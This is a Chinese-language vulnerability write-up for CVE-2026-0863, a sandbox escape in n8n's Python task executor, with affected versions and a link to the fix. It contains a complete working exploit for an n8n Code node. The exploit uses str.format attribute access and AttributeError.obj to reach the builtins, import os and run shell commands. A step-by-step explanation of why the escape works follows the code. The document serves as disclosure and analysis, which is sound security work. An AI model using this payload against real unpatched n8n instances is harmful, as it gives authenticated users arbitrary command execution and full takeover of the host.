CVE-2026-0863 n8n 沙箱逃逸RCE

CVE-2026-0863

利用字符串格式化和异常处理,攻击者可以绕过 n8n 的 python-task-executor 沙箱限制,并在底层操作系统中运行任意不受限制的 Python 代码。

具有基本权限的已认证用户可以通过代码块利用此漏洞,并可能导致在“内部”执行模式下运行的实例完全接管 n8n 实例。

影响版本:
(,1.123.14)

[2.0.0,2.3.5)

[2.4.0,2.4.2)

EXP

创建一个Code组件
image

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def new_getattr(obj, attribute, *, Exception):
try:
f'{{0.{attribute}.Z3r4y}}'.format(obj)
except Exception as e:
return e.obj

try:
raise ValueError("hacked by Z3")
except Exception as e:
tb = new_getattr(e, '__traceback__', Exception=Exception)
frame = new_getattr(tb, 'tb_frame', Exception=Exception)
builtins = new_getattr(frame, 'f_builtins', Exception=Exception)
us = chr(95)
imprt = builtins[us+us+'import'+us+us]
import_globals = new_getattr(imprt, '__globals__', Exception=Exception)

os = import_globals['os']
return [{"json": {
"result": os.popen("ls /").read()
}}]

成功RCE
image

原理分析

辅助函数 new_getattr

1
f'{{0.{attribute}.Z3r4y}}'.format(obj)

这里其实混用了两种字符串格式化机制: f-string 和 str.format()。
第一层:f-string 的求值
首先,Python 解释器处理最外层的 f-string f’…’ 。
假设我们调用 new_getattr(my_obj, ‘class’, …) ,那么 attribute 变量的值是字符串 “class” 。

f-string 会把 {attribute} 替换为它的值
此时,我们得到了一段 新的格式化模板字符串 : ‘{0.class.Z3r4y}’ 。

第二层:str.format() 的执行
接下来,代码执行 .format(obj) :

1
'{0.__class__.Z3r4y}'.format(obj)

这里的 0 指代 .format() 参数列表中的第 0 个参数,也就是 obj 。

str.format() 引擎开始解析这个模板:

  1. 取值 :拿到第 0 个参数 obj 。
  2. 属性访问 1 :解析 .class 。引擎会执行 getattr(obj, ‘class’) 。
    关键点 :这一步是在 C 语言层面的格式化引擎中发生的, 能绕过 Python 层面重写的 getattribute 钩子或沙箱的静态代码审计 。沙箱可能禁止你写 obj.class ,但没禁止你写字符串。此时,引擎拿到了 obj 的类对象(比如 <class ‘ValueError’> )。
  3. 属性访问 2 (陷阱) :解析 .Z3r4y 。引擎继续尝试访问上一步结果的 Z3r4y 属性。
    引擎执行类似 getattr(<class ‘ValueError’>, ‘Z3r4y’) 的操作,显然,ValueError 类没有叫 Z3r4y 的属性。

当第 3 步访问不存在的 .Z3r4y 属性时,Python 抛出 AttributeError,系统抛出的 e (AttributeError) 对象中, e.obj 就变成了 用户经new_getattr函数输入的obj.attribute

获取 Traceback

1
2
3
4
5
try:
    raise ValueError("pwn")  # 主动抛出一个异常
except Exception as e:
    # 利用工具,从异常对象 e 中偷出 __traceback__ (回溯栈)
    tb = new_getattr(e, '__traceback__', Exception=Exception)

有了 Traceback,就意味着我们可以访问程序的调用栈。

获取栈帧

1
2
    # 从 Traceback 中偷出 tb_frame (当前的栈帧对象)
    frame = new_getattr(tb, 'tb_frame', Exception=Exception)

栈帧 (Frame) 包含了当前代码执行环境的所有信息,包括局部变量、全局变量和 内置函数 。

获取 Builtins

1
2
    # 从栈帧中偷出 f_builtins (内置函数字典)
    builtins = new_getattr(frame, 'f_builtins', Exception=Exception)

f_builtins 里包含了 import 、 open 、 exec 等所有内置函数。

最终经过构造成功RCE

官方FIX

https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02

ban掉了一些关键词
image